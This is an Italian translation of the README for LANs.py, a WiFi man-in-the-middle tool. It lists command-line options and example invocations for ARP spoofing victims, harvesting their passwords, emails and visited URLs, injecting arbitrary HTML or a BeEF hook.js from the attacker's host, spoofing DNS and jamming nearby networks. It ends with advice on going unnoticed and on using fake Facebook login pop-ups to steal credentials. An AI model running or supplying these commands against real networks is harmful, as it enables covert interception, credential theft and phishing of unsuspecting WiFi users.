
Iniettare codice e spiare gli utenti wifi
*** NOTA *** Non mantengo più questo progetto. Raccomando vivamente di usare bettercap per esigenze ARP e MITM.
Trova automaticamente gli utenti WLAN più attivi, poi spi un di loro e/o inietta HTML/JS arbitrario nelle pagine che visitano.
Può anche essere usato per disturbare continuamente le reti WiFi vicine. Ha una portata approssimativa di un isolato, ma può variare in base alla potenza della tua scheda WiFi. Può essere regolato per disturbare tutti o anche un solo client. (Non può disturbare WiFi e spiare contemporaneamente)
Prerequisiti: Linux, python-scapy, python-nfqueue (nfqueue-bindings 0.4-3), aircrack-ng, python-twisted, BeEF (opzionale), nmap, nbtscan, e una scheda wireless in grado di modalità promiscua se scegli di non usare l'opzione -ip
Testato su Kali 1.0. Negli esempi seguenti, 192.168.0.5 sarà la macchina attaccante e 192.168.0.10 sarà la vittima.
Tutte le opzioni:
Python LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC]
[-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n]
[-i INTERFACE] [-r REDIRECTTO] [-rip ROUTERIP]
[-rmac ROUTERMAC] [-pcap PCAP] [-s SKIP] [-ch CHANNEL]
[-m MAXIMUM] [-no] [-t TIMEINTERVAL] [--packets PACKETS]
[--directedonly] [--accesspoint ACCESSPOINT]
python LANs.py -u -p
Identificazione attiva del target che esegue ARP spoofing sul target scelto e restituisce tutti i dati non HTTPS interessanti che invia o richiede. Non c'è l'opzione -ip, quindi esegue una scansione ARP della rete, la confronta con una cattura promiscua in esecuzione e elenca tutti i client sulla rete. Tenta di etichettare i target con un nome netbios Windows e stampa quanti pacchetti di dati stanno inviando/ricevendo. La capacità di catturare i pacchetti di dati inviati dipende molto dalla prossimità fisica e dalla potenza della tua scheda di rete. Premi Ctrl-C quando sei pronto e scegli il tuo target, che verrà poi sottoposto ad ARP spoofing.
Supporta l'intercettazione e la raccolta di dati dai seguenti protocolli: HTTP, FTP, IMAP, POP3, IRC. Stampa i primi 135 caratteri degli URL visitati e ignora gli URL che terminano in .jpg, .jpeg, .gif, .css, .ico, .js, .svg e .woff. Stampa anche tutti i nomi utente/password dei protocolli inseriti, le ricerche effettuate su qualsiasi sito, le email inviate/ricevute e i messaggi IRC inviati/ricevuti. Screenshot: http://i.imgur.com/kQofTYP.png
Eseguire LANs.py senza argomenti ti darà la lista dei target attivi e, dopo averne selezionato uno, agirà come un semplice ARP spoofer.
python LANs.py -u -p -d -ip 192.168.0.10
-d: apre un xterm con driftnet per vedere tutte le immagini che visualizzano
-ip: mira a questo indirizzo IP e salta l'identificazione attiva all'inizio
python LANs.py -b http://192.168.0.5:3000/hook.js
Inietta un URL hook di BeEF (http://beefproject.com/, tutorial: http://resources.infosecinstitute.com/beef-part-1/) nelle pagine visitate dalla vittima. Questo avvolge semplicemente l'argomento in tag <script>, quindi puoi inserire qualsiasi percorso di un file javascript. Tenta di inserirlo dopo il primo tag </head> trovato nell'HTML della pagina.
python LANs.py -c '<title>Owned.</title>'
Inietta HTML arbitrario nelle pagine visitate dalla vittima. Prima tenta di iniettarlo dopo il primo tag <head> e, in caso contrario, lo inietta prima del primo tag </head>. Questo esempio cambierà il titolo della pagina in 'Owned.'
python LANs.py -pcap libpcapfilename -ip 192.168.0.10
Per leggere da un file pcap devi includere l'indirizzo IP del target con l'opzione -ip. Deve essere in formato libpcap, che è il più comune. Un vantaggio di leggere da un file pcap è che non devi essere root per eseguire lo script.
python LANs.py -a -r 80.87.128.67
python LANs.py -dns eff.org
Esempio 1: L'opzione -a falsifica ogni singola richiesta DNS della vittima e, se usata insieme a -r, le reindirizza all'indirizzo dell'argomento -r. La vittima verrà reindirizzata a stallman.org (80.87.128.67) qualunque cosa digiti nella barra degli indirizzi.
Esempio 2: Questo falsificherà il dominio eff.org e i suoi sottodomini. Quando non è presente l'argomento -r insieme alle opzioni -a o -dns, lo script reindirizza la vittima all'indirizzo IP dell'attaccante. Se la vittima cerca di andare su eff.org, verrà reindirizzata all'IP dell'attaccante.
python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
python LANs.py
Uso normale:
-b BEEF_HOOK_URL: copia l'URL hook di BeEF per iniettarlo in ogni pagina visitata dalla vittima, es: -b http://192.168.1.10:3000/hook.js
-c 'CODICE HTML': inietta codice HTML arbitrario nelle pagine visitate dalla vittima; includi le virgolette quando selezioni l'HTML da iniettare
-d: apre un xterm con driftnet per vedere tutte le immagini che visualizzano
-dns DOMINIO: falsifica il DNS del DOMINIO. es: -dns facebook.com falsificherà ogni richiesta DNS a facebook.com o subdomain.facebook.com
-a: falsifica ogni risposta DNS della vittima, creando di fatto una pagina captive portal; l'opzione -r può essere usata con questa
-r INDIRIZZOIP: da usare solo con l'opzione -dns DOMINIO; reindirizza l'utente a questo INDIRIZZOIP quando visita DOMINIO
-u: stampa gli URL visitati; tronca a 150 caratteri e filtra gli URL di immagini/css/js/woff/svg poiché inondano l'output e non sono interessanti
-i INTERFACCIA: specifica l'interfaccia; default è la prima interfaccia in ip route, es: -i wlan0
-ip: mira a questo indirizzo IP
-n: esegue una rapida scansione nmap del target
-na: esegue una scansione nmap aggressiva in background e scrive l'output in [indirizzo IP della vittima].nmap.txt
-p: stampa nomi utente/password per FTP/IMAP/POP/IRC/HTTP, POST HTTP effettuati, tutte le ricerche effettuate, email in entrata/uscita e messaggi IRC inviati/ricevuti
-pcap FILE_PCAP: analizza tutti i pacchetti in un file pcap; richiede l'argomento -ip [indirizzo IP del target]
-rmac MAC_ROUTER: inserisci il MAC del router se hai difficoltà a farlo recuperare automaticamente dallo script
-rip IP_ROUTER: inserisci l'IP del router se hai difficoltà a farlo recuperare automaticamente dallo script
-v: mostra URL verbosi che non vengono troncati a 150 caratteri come -u
Disturbo WiFi:
Alla ricezione di Ctrl-C:
-Spegne l'IP forwarding
-Svuota il firewall iptables
-Ripristina individualmente le tabelle ARP del router e della vittima
Questo script usa una coda python nfqueue-bindings avvolta in un Twisted IReadDescriptor per fornire pacchetti alle funzioni di callback. nfqueue-bindings viene utilizzato per eliminare e inoltrare determinati pacchetti. La libreria Python scapy fa il lavoro di analizzare e iniettare pacchetti.
Iniettare codice senza essere rilevati è un gioco rischioso: se un piccolo dettaglio va storto o il server da cui la vittima richiede dati si comporta in modo unico o raro, l'utente non sarà in grado di aprire la pagina che sta cercando di visualizzare e si accorgerà che qualcosa non va. Questo script è progettato per inoltrare i pacchetti in caso di fallimento, quindi durante l'uso potresti vedere molti "[!] Injected packet for www.domain.com" ma vedere solo uno o due domini nel pannello BEeF su cui il browser è agganciato. Questo è normale. Se non vengono agganciati alla prima pagina, aspetta che navighino su altre pagine. L'obiettivo è non essere notati. I miei strumenti BEeF preferiti sono in Commands > Social Engineering. Fai cose come creare un pop-up falso di Facebook che dice che l'autenticazione dell'utente è scaduta e di reinserire le credenziali.